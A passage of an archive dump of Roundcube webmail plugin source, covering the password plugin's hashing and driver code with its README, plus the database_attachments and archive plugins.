                $reason = $this->gettext('internalerror');
        }

        if ($message) {
            $reason .= ' ' . $message;
        }

        return $reason;
    }

    private function _load_driver($type = 'password')
    {
        if (!($type && $driver = $this->rc->config->get('password_' . $type . '_driver'))) {
            $driver = $this->rc->config->get('password_driver', 'sql');
        }

        if (empty($this->drivers[$type])) {
            $class  = "rcube_{$driver}_password";
            $file = $this->home . "/drivers/$driver.php";

            if (!file_exists($file)) {
                rcube::raise_error([
                        'code' => 600, 'file' => __FILE__, 'line' => __LINE__,
                        'message' => "Password plugin: Driver file does not exist ($file)"
                    ], true, false
                );
                return false;
            }

            include_once $file;

            if (!class_exists($class, false) || (!method_exists($class, 'save') && !method_exists($class, 'check_strength'))) {
                rcube::raise_error([
                        'code' => 600, 'file' => __FILE__, 'line' => __LINE__,
                        'message' => "Password plugin: Broken driver $driver"
                    ], true, false
                );
                return false;
            }

            $this->drivers[$type] = new $class;
        }

        return $this->drivers[$type];
    }

    function user_create($args)
    {
        $this->newuser = true;
        return $args;
    }

    function login_after($args)
    {
        if ($this->newuser && $this->check_host_login_exceptions()) {
            $this->rc->user->save_prefs(['newuserpassword' => true]);

            $args['_task']   = 'settings';
            $args['_action'] = 'plugin.password';
            $args['_first']  = 'true';
        }

        return $args;
    }

    // Check if host and login is allowed to change the password, false = not allowed, true = not allowed
    private function check_host_login_exceptions()
    {
        // Host exceptions
        $hosts = $this->rc->config->get('password_hosts');
        if (!empty($hosts) && !in_array($_SESSION['storage_host'], (array) $hosts)) {
            return false;
        }

        // Login exceptions
        if ($exceptions = $this->rc->config->get('password_login_exceptions')) {
            $exceptions = array_map('trim', (array) $exceptions);
            $exceptions = array_filter($exceptions);
            $username   = $_SESSION['username'];

            foreach ($exceptions as $ec) {
                if ($username === $ec) {
                    return false;
                }
            }
        }

        return true;
    }

    /**
     * Hashes a password and returns the hash based on the specified method
     *
     * Parts of the code originally from the phpLDAPadmin development team
     * http://phpldapadmin.sourceforge.net/
     *
     * @param string      $password Clear password
     * @param string      $method   Hashing method
     * @param bool|string $prefixed Prefix string or TRUE to add a default prefix
     *
     * @return string Hashed password
     */
    public static function hash_password($password, $method = '', $prefixed = true)
    {
        $method  = strtolower($method);
        $rcmail  = rcmail::get_instance();
        $prefix  = '';
        $crypted = null;
        $options = (array) $rcmail->config->get('password_algorithm_options', []);

        if (empty($method) || $method == 'default') {
            $method   = $rcmail->config->get('password_algorithm');
            $prefixed = $rcmail->config->get('password_algorithm_prefix');
        }

        switch ($method) {
        case 'des':
        case 'des-crypt':
            $crypted = crypt($password, rcube_utils::random_bytes(2));
            $prefix  = '{CRYPT}';
            break;

        case 'ext_des': // for BC
        case 'ext-des-crypt':
            $crypted = crypt($password, '_' . rcube_utils::random_bytes(8));
            $prefix  = '{CRYPT}';
            break;

        case 'md5crypt': // for BC
        case 'md5-crypt':
            $crypted = crypt($password, '$1$' . rcube_utils::random_bytes(9));
            $prefix  = '{MD5-CRYPT}';
            break;

        case 'sha256-crypt':
            $rounds = (int) $rcmail->config->get('password_crypt_rounds');
            $prefix = '$5$';

            if ($rounds > 1000) {
                $prefix .= 'rounds=' . $rounds . '$';
            }

            $crypted = crypt($password, $prefix . rcube_utils::random_bytes(16));
            $prefix  = '{SHA256-CRYPT}';
            break;

        case 'sha512-crypt':
            $rounds = (int) $rcmail->config->get('password_crypt_rounds');
            $prefix = '$6$';

            if ($rounds > 1000) {
                $prefix .= 'rounds=' . $rounds . '$';
            }

            $crypted = crypt($password, $prefix . rcube_utils::random_bytes(16));
            $prefix  = '{SHA512-CRYPT}';
            break;

        case 'blowfish': // for BC
        case 'blowfish-crypt':
            $cost   = (int) ($options['cost'] ?? $rcmail->config->get('password_blowfish_cost'));
            $cost   = $cost < 4 || $cost > 31 ? 12 : $cost;
            $prefix = sprintf('$2y$%02d$', $cost);

            $crypted = crypt($password, $prefix . rcube_utils::random_bytes(22));
            $prefix  = '{BLF-CRYPT}';
            break;

        case 'md5':
            $crypted = base64_encode(pack('H*', md5($password)));
            $prefix  = '{MD5}';
            break;

        case 'sha':
            if (function_exists('sha1')) {
                $crypted = pack('H*', sha1($password));
            }
            else if (function_exists('hash')) {
                $crypted = hash('sha1', $password, true);
            }
            else {
                rcube::raise_error([
                        'code' => 600, 'file' => __FILE__, 'line' => __LINE__,
                        'message' => "Password plugin: Your PHP installation does not have the hash() nor sha1() function"
                    ], true, true
                );
            }

            $crypted = base64_encode($crypted);
            $prefix = '{SHA}';
            break;

        case 'ssha':
            $salt = rcube_utils::random_bytes(8);

            if (function_exists('sha1')) {
                $salt    = substr(pack("H*", sha1($salt . $password)), 0, 4);
                $crypted = sha1($password . $salt, true);
            }
            else if (function_exists('hash')) {
                $salt    = substr(pack("H*", hash('sha1', $salt . $password)), 0, 4);
                $crypted = hash('sha1', $password . $salt, true);
            }
            else {
                rcube::raise_error([
                        'code' => 600, 'file' => __FILE__, 'line' => __LINE__,
                        'message' => "Password plugin: Your PHP installation does not have the hash() nor sha1() function"
                   ], true, true
               );
            }

            $crypted = base64_encode($crypted . $salt);
            $prefix  = '{SSHA}';
            break;

        // base64 encoded ssha256 for mailcow
        case 'ssha256':
            $salt = rcube_utils::random_bytes(8);

            if (function_exists('hash')) {
                $salt    = substr(pack("H*", hash('sha256', $salt . $password)), 0, 4);
                $crypted = hash('sha256', $password . $salt, true);
            }
            else {
                rcube::raise_error([
                        'code' => 600, 'file' => __FILE__, 'line' => __LINE__,
                        'message' => "Password plugin: Your PHP installation does not have the hash() function"
                   ], true, true
               );
            }

            $crypted = base64_encode($crypted . $salt);
            $prefix  = '{SSHA256}';
            break;

        case 'ssha512':
            $salt = rcube_utils::random_bytes(8);

            if (function_exists('hash')) {
                $salt    = substr(pack("H*", hash('sha512', $salt . $password)), 0, 4);
                $crypted = hash('sha512', $password . $salt, true);
            }
            else {
                rcube::raise_error([
                        'code' => 600, 'file' => __FILE__, 'line' => __LINE__,
                        'message' => "Password plugin: Your PHP installation does not have the hash() function"
                    ], true, true
                );
            }

            $crypted = base64_encode($crypted . $salt);
            $prefix  = '{SSHA512}';
            break;

        case 'smd5':
            $salt = rcube_utils::random_bytes(8);

            if (function_exists('hash')) {
                $salt    = substr(pack("H*", hash('md5', $salt . $password)), 0, 4);
                $crypted = hash('md5', $password . $salt, true);
            }
            else {
                $salt    = substr(pack("H*", md5($salt . $password)), 0, 4);
                $crypted = md5($password . $salt, true);
            }

            $crypted = base64_encode($crypted . $salt);
            $prefix  = '{SMD5}';
            break;

        case 'samba':
            if (function_exists('hash')) {
                $crypted = hash('md4', rcube_charset::convert($password, RCUBE_CHARSET, 'UTF-16LE'));
                $crypted = strtoupper($crypted);
            }
            else {
                rcube::raise_error([
                        'code' => 600, 'file' => __FILE__, 'line' => __LINE__,
                        'message' => "Password plugin: Your PHP installation does not have hash() function"
                    ], true, true
                );
            }
            break;

        case 'ad':
            $crypted = rcube_charset::convert('"' . $password . '"', RCUBE_CHARSET, 'UTF-16LE');
            break;

        case 'dovecot':
            if (!($dovecotpw = $rcmail->config->get('password_dovecotpw'))) {
                $dovecotpw = 'dovecotpw';
            }
            if (!($method = $rcmail->config->get('password_dovecotpw_method'))) {
                $method = 'CRAM-MD5';
            }

            $command = "$dovecotpw -s '$method'";

            $spec = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
            $pipe = proc_open($command, $spec, $pipes);

            if (!$pipe) {
                rcube::raise_error([
                        'code' => 600, 'file' => __FILE__, 'line' => __LINE__,
                        'message' => "Password plugin: Failed to execute command: $command"
                    ], true, false);
                return false;
            }

            fwrite($pipes[0], $password . "\n", 1+strlen($password));
            usleep(1000);
            fwrite($pipes[0], $password . "\n", 1+strlen($password));

            $crypted = trim(stream_get_contents($pipes[1]), "\n");
            $stderr = trim(stream_get_contents($pipes[2]));

            fclose($pipes[0]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($pipe);

            if (!preg_match('/^\{' . $method . '\}/', $crypted)) {
                rcube::raise_error([
                        'code' => 600, 'file' => __FILE__, 'line' => __LINE__,
                        'message' => "Password plugin: Failed to execute command: $command. Error: $stderr"
                    ], true, false);

                return false;
            }

            if (!$prefixed) {
                $prefixed = (bool) $rcmail->config->get('password_dovecotpw_with_method');
            }

            if (!$prefixed) {
                $crypted = trim(str_replace('{' . $method . '}', '', $crypted));
            }

            $prefixed = false;

            break;

        case 'hash-bcrypt':
            $crypted = password_hash($password, PASSWORD_BCRYPT, $options);
            $prefix  = '{BLF-CRYPT}';
            break;

        case 'hash-argon2i':
            $crypted = password_hash($password, PASSWORD_ARGON2I, $options);
            $prefix  = '{ARGON2I}';
            break;

        case 'hash-argon2id':
            $crypted = password_hash($password, PASSWORD_ARGON2ID, $options);
            $prefix  = '{ARGON2ID}';
            break;

        case 'clear':
            $crypted = $password;
            break;

        default:
            rcube::raise_error([
                    'code' => 600, 'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Password plugin: Hash method not supported."
                ], true, true
            );
        }

        if ($crypted === null || $crypted === false) {
            rcube::raise_error([
                    'code' => 600, 'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Password plugin: Failed to hash password ($method). Check for configuration issues."
                ],
                true, true
            );
        }

        if ($prefixed && $prefixed !== true) {
            $prefix   = $prefixed;
            $prefixed = true;
        }

        if ($prefixed === true && $prefix) {
            $crypted = $prefix . $crypted;
        }

        return $crypted;
    }

    /**
     * Returns username in a configured form appropriate for the driver
     *
     * @param string $format Username format
     *
     * @return string Username
     */
    public static function username($format = null)
    {
        $rcmail = rcmail::get_instance();

        if (!$format) {
            $format = $rcmail->config->get('password_username_format');
        }

        if (!$format) {
            return $_SESSION['username'];
        }

        return strtr($format, [
                '%l' => $rcmail->user->get_username('local'),
                '%d' => $rcmail->user->get_username('domain'),
                '%u' => $_SESSION['username'],
        ]);
    }

    /**
     * Returns Guzzle HTTP client instance configured for use in a password driver.
     *
     * @return \GuzzleHttp\Client HTTP client
     */
    public static function get_http_client()
    {
        $rcube  = rcube::get_instance();
        $config = (array) $rcube->config->get('password_http_client');

        return $rcube->get_http_client($config);
    }
}
PKh�\4��4�E�Eplugins/password/READMEnu�[��� -----------------------------------------------------------------------
 Password Plugin for Roundcube
 -----------------------------------------------------------------------
 Plugin that adds a possibility to change user password using many
 methods (drivers) via Settings/Password tab.
 -----------------------------------------------------------------------
 This program is free software: you can redistribute it and/or modify
 it under the terms of the GNU General Public License as published by
 the Free Software Foundation, either version 3 of the License, or
 (at your option) any later version.

 This program is distributed in the hope that it will be useful,
 but WITHOUT ANY WARRANTY; without even the implied warranty of
 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 GNU General Public License for more details.

 You should have received a copy of the GNU General Public License
 along with this program. If not, see http://www.gnu.org/licenses/.

 @author Aleksander Machniak <alec@alec.pl>
 @author <see driver files for driver authors>
 -----------------------------------------------------------------------

 1.      Configuration
 2.      Drivers
 2.1.    Password Change Drivers
 2.1.1.  Database (sql)
 2.1.2.  Cyrus/SASL (sasl)
 2.1.3.  Poppassd/Courierpassd (poppassd)
 2.1.4.  LDAP (ldap)
 2.1.5.  DirectAdmin Control Panel (directadmin)
 2.1.6.  cPanel
 2.1.7.  XIMSS/Communigate (ximms)
 2.1.8.  Virtualmin (virtualmin)
 2.1.9.  hMailServer (hmail)
 2.1.10. PAM (pam)
 2.1.11. Chpasswd (chpasswd)
 2.1.12. LDAP - no PEAR (ldap_simple)
 2.1.13. XMail (xmail)
 2.1.14. Pw (pw_usermod)
 2.1.15. domainFACTORY (domainfactory)
 2.1.16. DBMail (dbmail)
 2.1.17. Expect (expect)
 2.1.18. Samba (smb)
 2.1.19. Vpopmail daemon (vpopmaild)
 2.1.20. Plesk (Plesk RPC-API)
 2.1.21. Kpasswd
 2.1.22. Modoboa
 2.1.23. LDAP - Password Modify Extended Operation (ldap_exop)
 2.1.24. TinyCP
 2.1.25. Mail-in-a-Box (miab)
 2.1.26. HTTP-API (httpapi)
 2.1.27. dovecot_passwdfile
 2.1.28. Mailcow
 2.2.    Password Strength Drivers
 2.2.1.  Zxcvbn
 2.2.2.  Have I been pwned? (pwned)
 3.      Driver API
 4.      Sudo setup


 1. Configuration
 ----------------

 Copy config.inc.php.dist to config.inc.php and set the options as described
 within the file.


 2. Drivers
 ----------


 2.1. Password Change Drivers
 ----------------------------

 Password plugin supports many password change mechanisms which are
 handled by included drivers. Just pass driver name in 'password_driver' option.


 2.1.1. Database (sql)
 ---------------------

 You can specify which database to connect by 'password_db_dsn' option and
 what SQL query to execute by 'password_query'. See config.inc.php.dist file for
 more info.

 Example implementations of an update_passwd function:

 - This is for use with LMS (http://lms.org.pl) database and postgres:

    CREATE OR REPLACE FUNCTION update_passwd(hash text, account text) RETURNS integer AS $$
    DECLARE
            res integer;
    BEGIN
        UPDATE passwd SET password = hash
        WHERE login = split_part(account, '@', 1)
            AND domainid = (SELECT id FROM domains WHERE name = split_part(account, '@', 2))
        RETURNING id INTO res;
        RETURN res;
    END;
    $$ LANGUAGE plpgsql SECURITY DEFINER;

 - This is for use with a SELECT update_passwd(%o,%P,%u) query
   Updates the password only when the old password matches the MD5 password
   in the database

    CREATE FUNCTION update_password (oldpass text, cryptpass text, user text) RETURNS text
        MODIFIES SQL DATA
    BEGIN
        DECLARE currentsalt varchar(20);
        DECLARE error text;
        SET error = 'incorrect current password';
        SELECT substring_index(substr(user.password,4),_latin1'$',1) INTO currentsalt FROM users WHERE username=user;
        SELECT '' INTO error FROM users WHERE username=user AND password=ENCRYPT(oldpass,currentsalt);
        UPDATE users SET password=cryptpass WHERE username=user AND password=ENCRYPT(oldpass,currentsalt);
        RETURN error;
    END

 Example SQL UPDATEs:

 - Plain text passwords:
    UPDATE users SET password=%p WHERE username=%u AND password=%o AND domain=%h LIMIT 1

 - Crypt text passwords:
    UPDATE users SET password=%P WHERE username=%u LIMIT 1

 - Use a MYSQL crypt function (*nix only) with random 8 character salt
    UPDATE users SET password=ENCRYPT(%p,concat(_utf8'$1$',right(md5(rand()),8),_utf8'$')) WHERE username=%u LIMIT 1

 - MD5 stored passwords:
    UPDATE users SET password=MD5(%p) WHERE username=%u AND password=MD5(%o) LIMIT 1


 2.1.2. Cyrus/SASL (sasl)
 ------------------------

 Cyrus SASL database authentication allows your Cyrus+Roundcube
 installation to host mail users without requiring a Unix Shell account!

 This driver only covers the "sasldb" case when using Cyrus SASL. Kerberos
 and PAM authentication mechanisms will require other techniques to enable
 user password manipulations.

 Cyrus SASL includes a shell utility called "saslpasswd" for manipulating
 user passwords in the "sasldb" database.  This plugin attempts to use
 this utility to perform password manipulations required by your webmail
 users without any administrative interaction. Unfortunately, this
 scheme requires that the "saslpasswd" utility be run as the "cyrus"
 user - kind of a security problem since we have chosen to SUID a small
 script which will allow this to happen.

 This driver is based on the Squirrelmail Change SASL Password Plugin.
 See http://www.squirrelmail.org/plugin_view.php?id=107 for details.

 Installation:

 Change into the helpers directory. Edit the chgsaslpasswd.c file as is
 documented within it.

 Compile the wrapper program:
    gcc -o chgsaslpasswd chgsaslpasswd.c

 Chown the compiled chgsaslpasswd binary to the cyrus user and group
 that your browser runs as, then chmod them to 4550.

 For example, if your cyrus user is 'cyrus' and the apache server group is
 'nobody' (I've been told Red Hat runs Apache as user 'apache'):

    chown cyrus:nobody chgsaslpasswd
    chmod 4550 chgsaslpasswd

 Stephen Carr has suggested users should try to run the scripts on a test
 account as the cyrus user eg;

    su cyrus -c "./chgsaslpasswd -p test_account"

 This will allow you to make sure that the script will work for your setup.
 Should the script not work, make sure that:
 1) the user the script runs as has access to the saslpasswd|saslpasswd2
   file and proper permissions
 2) make sure the user in the chgsaslpasswd.c file is set correctly.
   This could save you some headaches if you are the paranoid type.


 2.1.3. Poppassd/Courierpassd (poppassd)
 ---------------------------------------

 You can specify which host to connect to via 'password_pop_host' and
 what port via 'password_pop_port'. See config.inc.php.dist file for more info.


 2.1.4. LDAP (ldap)
 ------------------

 See config.inc.php.dist file. Requires PEAR::Net_LDAP2 package.


 2.1.5. DirectAdmin Control Panel (directadmin)
 ----------------------------------------------

 You can specify which host to connect to via 'password_directadmin_host' (don't
 forget to use tcp:// or ssl://) and what port via 'password_directadmin_port'.
 The password enforcement with plenty customization can be done directly by
 DirectAdmin, please see http://www.directadmin.com/features.php?id=910
 See config.inc.php.dist file for more info.


 2.1.6. cPanel
 -------------

 Specify the host to connect to via 'password_cpanel_host'. This driver
 comes with a minimal UAPI implementation and does not use the external xmlapi
 class. It requires php-curl extension.

 See config.inc.php.dist file for more info.


 2.1.7. XIMSS/Communigate (ximms)
 --------------------------------

 You can specify which host and port to connect to via 'password_ximss_host'
 and 'password_ximss_port'. See config.inc.php.dist file for more info.


 2.1.8. Virtualmin (virtualmin)
 ------------------------------

 As in sasl driver this one allows to change password using shell
 utility called "virtualmin". See helpers/chgvirtualminpasswd.c for
 installation instructions. Requires virtualmin >= 4.09.


 2.1.9. hMailServer (hmail)
 --------------------------

 Requires PHP COM (Windows only). For access to hMail server on remote host
 you'll need to define 'hmailserver_remote_dcom' and 'hmailserver_server'.
 See config.inc.php.dist file for more info.


 2.1.10. PAM (pam)
 -----------------

 This driver is for changing passwords of shell users authenticated with PAM.
 Requires PECL's PAM extension to be installed (http://pecl.php.net/package/PAM).


 2.1.11. Chpasswd (chpasswd)
 ---------------------------

 Driver that adds functionality to change the systems user password via
 the 'chpasswd' command. See config.inc.php.dist file.

 Attached wrapper script (helpers/chpass-wrapper.py) restricts password changes
 to uids >= 1000 and can deny requests based on a blacklist.


 2.1.12.  LDAP - no PEAR (ldap_simple)
 -------------------------------------

 It's rewritten ldap driver that doesn't require the Net_LDAP2 PEAR extension.
 It uses directly PHP's ldap module functions instead (as Roundcube does).

 This driver is fully compatible with the ldap driver, but
 does not require (or uses) the
    $config['password_ldap_force_replace'] variable.
 Other advantages:
    * Connects only once with the LDAP server when using the search user.
    * Does not read the DN, but only replaces the password within (that is
      why the 'force replace' is always used).


 2.1.13.  XMail (xmail)
 ----------------------

 Driver for XMail (www.xmailserver.org). See config.inc.php.dist file
 for configuration description.


 2.1.14.  Pw (pw_usermod)
 ------------------------

 Driver to change the systems user password via the 'pw usermod' command.
 See config.inc.php.dist file for configuration description.


 2.1.15.  domainFACTORY (domainfactory)
 -------------------------------------

 Driver for the hosting provider domainFACTORY (www.df.eu).
 No configuration options.


 2.1.16.  DBMail (dbmail)
 ------------------------

 Driver that adds functionality to change the users DBMail password.
 It only works with dbmail-users on the same host where Roundcube runs
 and requires shell access and gcc in order to compile the binary
 (see instructions in chgdbmailusers.c file).
 See config.inc.php.dist file for configuration description.

 Note: DBMail users can also use sql driver.


 2.1.17.  Expect (expect)
 ------------------------

 Driver to change user password via the 'expect' command.
 See config.inc.php.dist file for configuration description.


 2.1.18.  Samba (smb)
 --------------------

 Driver to change Samba user password via the 'smbpasswd' command.
 See config.inc.php.dist file for configuration description.


 2.1.19. Vpopmail daemon (vpopmaild)
 -------------------------------------

 Driver for the daemon of vpopmail. Vpopmail is used with qmail to
 enable virtual users that are saved in a database and not in /etc/passwd.

 Set $config['password_vpopmaild_host'] to the host where vpopmaild runs.

 Set $config['password_vpopmaild_port'] to the port of vpopmaild.

 Set $config['password_vpopmaild_timeout'] to the timeout used for the TCP
 connection to vpopmaild (You may want to set it higher on busy servers).


 2.1.20. Plesk (Plesk RPC-API)
 -----------------------------

 Driver for changing Passwords via Plesk RPC-API. This Driver also works with
 Parallels Plesk Automation (PPA).

 You need to allow the IP of the Roundcube-Server for RPC-Calls in the Panel.

 Set $config['password_plesk_host'] to the Hostname / IP where Plesk runs
 Set your Admin or RPC User: $config['password_plesk_user']
 Set the Password of the User: $config['password_plesk_pass']
 Set $config['password_plesk_rpc_port']  for the RPC-Port. Usually its 8443
 Set the RPC-Path in $config['password_plesk_rpc_path']. Normally this is: enterprise/control/agent.php.


 2.1.21. Kpasswd
 ---------------

 Driver to change the password in Kerberos environments via the 'kpasswd' command.
 See config.inc.php.dist file for configuration description.


 2.1.22. Modoboa
 ---------------

 Driver to change the password in Modoboa servers.
 See config.inc.php.dist file for configuration description.


 2.1.23. LDAP - Password Modify Extended Operation (ldap_exop)
 -------------------------------------------------------------

 Modified version of ldap_simple.
 Password is changed using ldap_exop_passwd operation.
 PHP >= 7.2 required.


 2.1.24 TinyCP
 -------------

 Download the TinyCPConnector.php file from your TinyCP Settings page and
 save it into the password/drivers folder. Update/resolve file permissions for
 www-data/apache.
 Set the password_tinycp_host, password_tinycp_port, password_tinycp_user, and
 password_tinycp_pass in plugin's config.inc.php file.


 2.1.25 Mail-in-a-Box (miab)
 ---------------------------
 Driver to change the password on Mail-in-a-Box servers.
 See config.inc.php.dist file for configuration description.


 2.1.26. HTTP-API (httpapi)
 --------------------------

 Driver to change the user's password via any HTTP/HTTPS POST/GET API in a
 generic manner. It passes any of the username, curpass and newpass variables
 to the configured POST or GET parameters at the configured URL.

 Any 4xx error code (except 404) is assumed to mean the password change failed.
 404 or any other non-2xx error code, or failure to connect, is assumed to be a
 connection error and is reported as such.

 A 2xx response is generally assumed to mean the password changed succeeded.
 Optionally, you can configure a regular expression to check the response as
 well to verify this.


 2.1.27. dovecot_passwdfile
 --------------------------

 Driver that adds functionality to change the passwords in dovecot 2 passwd-file files
 regarding https://doc.dovecot.org/configuration_manual/authentication/passwd_file.

 Set 'password_dovecot_passwdfile_path' to your dovecot passwd-file location and
 'password_algorithm' (and related options) to the algorithm you want the passwords
 stored in the file to be using.


 2.1.28 Mailcow
 ---------------------------
 Driver to change the password on Mailcow servers.
 See config.inc.php.dist file for configuration description.


 2.2. Password Strength Drivers
 ------------------------------

 Password plugin supports many password strength checking mechanisms which are
 handled by included drivers. Just pass driver name in 'password_strength_driver' option.


 2.2.1. Zxcvbn
 -------------

 Driver to use the Zxcvbn library to check password strength. Requires zxcvbn-php library.
 The library is not distributed with Roundcube (see composer.json-dist).
 Note: Required PHP's memory_limit >= 24M.

 Set $config['password_zxcvbn_min_score'] to define minimum acceptable password strength score.

 2.2.2. Have I been pwned? (pwned)
 ---------------------------------

 Driver using "Have I been pwned?" (https://haveibeenpwned.com/Passwords) API to
 check that entered passwords aren't already compromised (i.e., commonly known).
 The check is performed locally, the actual password is *not* transmitted anywhere else.

 Requires curl (preferred) or allow_url_fopen to work.

 Example configuration:

 $config['password_strength_driver'] = 'pwned';
 $config['password_minimum_score'] = 3;

 See the driver implementation file for more documentation.

 3. Driver API
 -------------

 Driver file (<driver_name>.php) must define rcube_<driver_name>_password class. Drivers should
 provide one or both of a public save() or check_strength() method.

 All password changing drivers (used in config `password_driver` - the password driver) must have
 a save() method. The same driver can also contain a check_strength() method or a separate driver
 containing this method can be used in `password_strength_driver` (the strength driver). To enable
 strength checks ensure `password_check_strength` is set to true.

 The save() method, used for changing the password has three arguments:
 First - current password, second - new password, third - current username.
 This method should return PASSWORD_SUCCESS on success or any of PASSWORD_CONNECT_ERROR,
 PASSWORD_CRYPT_ERROR, PASSWORD_ERROR when driver was unable to change password.
 Extended result (as a hash-array with 'message' and 'code' items) can be returned
 too. See existing drivers in drivers/ directory for examples.

 Optionally a password driver can contain a compare() method which has three arguments:
 First - current password, second - test password, third - compare type.
 Compare type: PASSWORD_COMPARE_CURRENT - when comparing the test password with current password.
 PASSWORD_COMPARE_NEW - when comparing the current password with the test password.
 For PASSWORD_COMPARE_CURRENT it should return error text if user entered and real current password
 DO NOT MATCH. For PASSWORD_COMPARE_NEW it should return error text if user entered and real current
 password DO MATCH. Else it should return null (no error).

 The check_strength() method, used for checking password strength has one argument: new password.
 This method should return an array with tho elements:
   - Score: integer from 1 (week) to 5 (strong)
   - Reason for the score (optional)

 Optionally a strength driver can contain a strength_rules() method. This has no arguments
 and returns a string, or array of strings explaining the password strength rules.


 4. Sudo setup
 -------------

 Some drivers that execute system commands (like chpasswd) require use of sudo command.
 Here's a sample for CentOS 7:

 # cat <<END >/etc/sudoers.d/99-roundcubemail
 apache ALL=NOPASSWD:/usr/sbin/chpasswd
 Defaults:apache !requiretty
 <<END

 Note: on different systems the username (here 'apache') may be different, e.g. www.
 Note: on some systems the disabling tty line may not be needed.
PKh�\���*plugins/database_attachments/composer.jsonnu�[���{
    "name": "roundcube/database_attachments",
    "type": "roundcube-plugin",
    "description": "This plugin which provides database backed storage for temporary attachment file handling. The primary advantage of this plugin is its compatibility with round-robin dns multi-server Roundcube installations.",
    "license": "GPL-3.0-or-later",
    "version": "1.2",
    "authors": [
        {
            "name": "Aleksander Machniak",
            "email": "alec@alec.pl",
            "role": "Lead"
        },
        {
            "name": "Ziba Scott",
            "email": "ziba@umich.edu",
            "role": "Developer"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3",
        "roundcube/filesystem_attachments": ">=1.0.0"
    }
}
PKh�\']‡yy0plugins/database_attachments/config.inc.php.distnu�[���<?php

// By default this plugin stores attachments in filesystem
// and copies them into sql database.
// You can change it to use 'memcache', 'memcached', 'redis' or 'apc'.
// -----------------------------------------------------------
// WARNING: Remember to set max_allowed_packet in database or
//          config to match with expected max attachment size.
// -----------------------------------------------------------
$config['database_attachments_cache'] = 'db';

// Attachment data expires after specified TTL time in seconds (max.2592000).
// Default is 12 hours.
$config['database_attachments_cache_ttl'] = 12 * 60 * 60;
PKh�\*�֛�5plugins/database_attachments/database_attachments.phpnu�[���<?php

/**
 * Database Attachments
 *
 * This plugin which provides database backed storage for temporary
 * attachment file handling. The primary advantage of this plugin
 * is its compatibility with round-robin dns multi-server roundcube
 * installations.
 *
 * This plugin relies on the core filesystem_attachments plugin
 *
 * @author Ziba Scott <ziba@umich.edu>
 * @author Aleksander Machniak <alec@alec.pl>
 *
 * Copyright (C) The Roundcube Dev Team
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License version 2
 * as published by the Free Software Foundation.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along
 * with this program; if not, write to the Free Software Foundation, Inc.,
 * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 */

require_once INSTALL_PATH . 'plugins/filesystem_attachments/filesystem_attachments.php';

class database_attachments extends filesystem_attachments
{
    // Cache object
    protected $cache;

    // A prefix for the cache key used in the session and in the key field of the cache table
    const PREFIX = "ATTACH";

    /**
     * Save a newly uploaded attachment
     */
    function upload($args)
    {
        $args['status'] = false;

        $cache = $this->get_cache();
        $key   = $this->_key($args);
        $data  = file_get_contents($args['path']);

        if ($data === false) {
            return $args;
        }

        $data   = base64_encode($data);
        $status = $cache->set($key, $data);

        if ($status) {
            $args['id']     = $key;
            $args['status'] = true;
            $args['path']   = null;
        }

        return $args;
    }

    /**
     * Save an attachment from a non-upload source (draft or forward)
     */
    function save($args)
    {
        $args['status'] = false;

        $cache = $this->get_cache();
        $key   = $this->_key($args);

        if (!empty($args['path'])) {
            $args['data'] = file_get_contents($args['path']);

            if ($args['data'] === false) {
                return $args;
            }

            $args['path'] = null;
        }

        $data   = base64_encode($args['data']);
        $status = $cache->set($key, $data);

        if ($status) {
            $args['id'] = $key;
            $args['status'] = true;
        }

        return $args;
    }

    /**
     * Remove an attachment from storage
     * This is triggered by the remove attachment button on the compose screen
     */
    function remove($args)
    {
        $cache  = $this->get_cache();
        $status = $cache->remove($args['id']);

        $args['status'] = true;

        return $args;
    }

    /**
     * When composing an html message, image attachments may be shown
     * For this plugin, $this->get() will check the file and
     * return it's contents
     */
    function display($args)
    {
        return $this->get($args);
    }

    /**
     * When displaying or sending the attachment the file contents are fetched
     * using this method. This is also called by the attachment_display hook.
     */
    function get($args)
    {
        $cache = $this->get_cache();
        $data  = $cache->get($args['id']);

        if ($data !== null && $data !== false) {
            $args['data'] = base64_decode($data);
            $args['status'] = true;
        }
        else {
            $args['status'] = false;
        }

        return $args;
    }

    /**
     * Delete all temp files associated with this user
     */
    function cleanup($args)
    {
        // check if cache object exist, it may be empty on session_destroy (#1489726)
        if ($cache = $this->get_cache()) {
            $cache->remove($args['group'] ?? null, true);
        }
    }

    /**
     * Helper method to generate a unique key for the given attachment file
     */
    protected function _key($args)
    {
        $uname = !empty($args['path']) ? $args['path'] : $args['name'];
        return $args['group'] . md5(microtime() . $uname . $_SESSION['user_id']);
    }

    /**
     * Initialize and return cache object
     */
    protected function get_cache()
    {
        if (!$this->cache) {
            $this->load_config();

            $rcmail = rcube::get_instance();
            $ttl    = 12 * 60 * 60; // default: 12 hours
            $ttl    = $rcmail->config->get('database_attachments_cache_ttl', $ttl);
            $type   = $rcmail->config->get('database_attachments_cache', 'db');
            $prefix = self::PREFIX;

            // Add session identifier to the prefix to prevent from removing attachments
            // in other sessions of the same user (#1490542)
            if ($id = session_id()) {
                $prefix .= $id;
            }

            // Init SQL cache (disable cache data serialization)
            $this->cache = $rcmail->get_cache($prefix, $type, $ttl, false, true);
        }

        return $this->cache;
    }
}
PKh�\��==plugins/archive/composer.jsonnu�[���{
    "name": "roundcube/archive",
    "type": "roundcube-plugin",
    "description": "This adds a button to move the selected messages to an archive folder. The folder (and the optional structure of subfolders) can be selected in the settings panel.",
    "license": "GPL-3.0-or-later",
    "version": "3.5",
    "authors": [
        {
            "name": "Thomas Bruederli",
            "email": "roundcube@gmail.com",
            "role": "Lead"
        },
        {
            "name": "Aleksander Machniak",
            "email": "alec@alec.pl",
            "role": "Developer"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
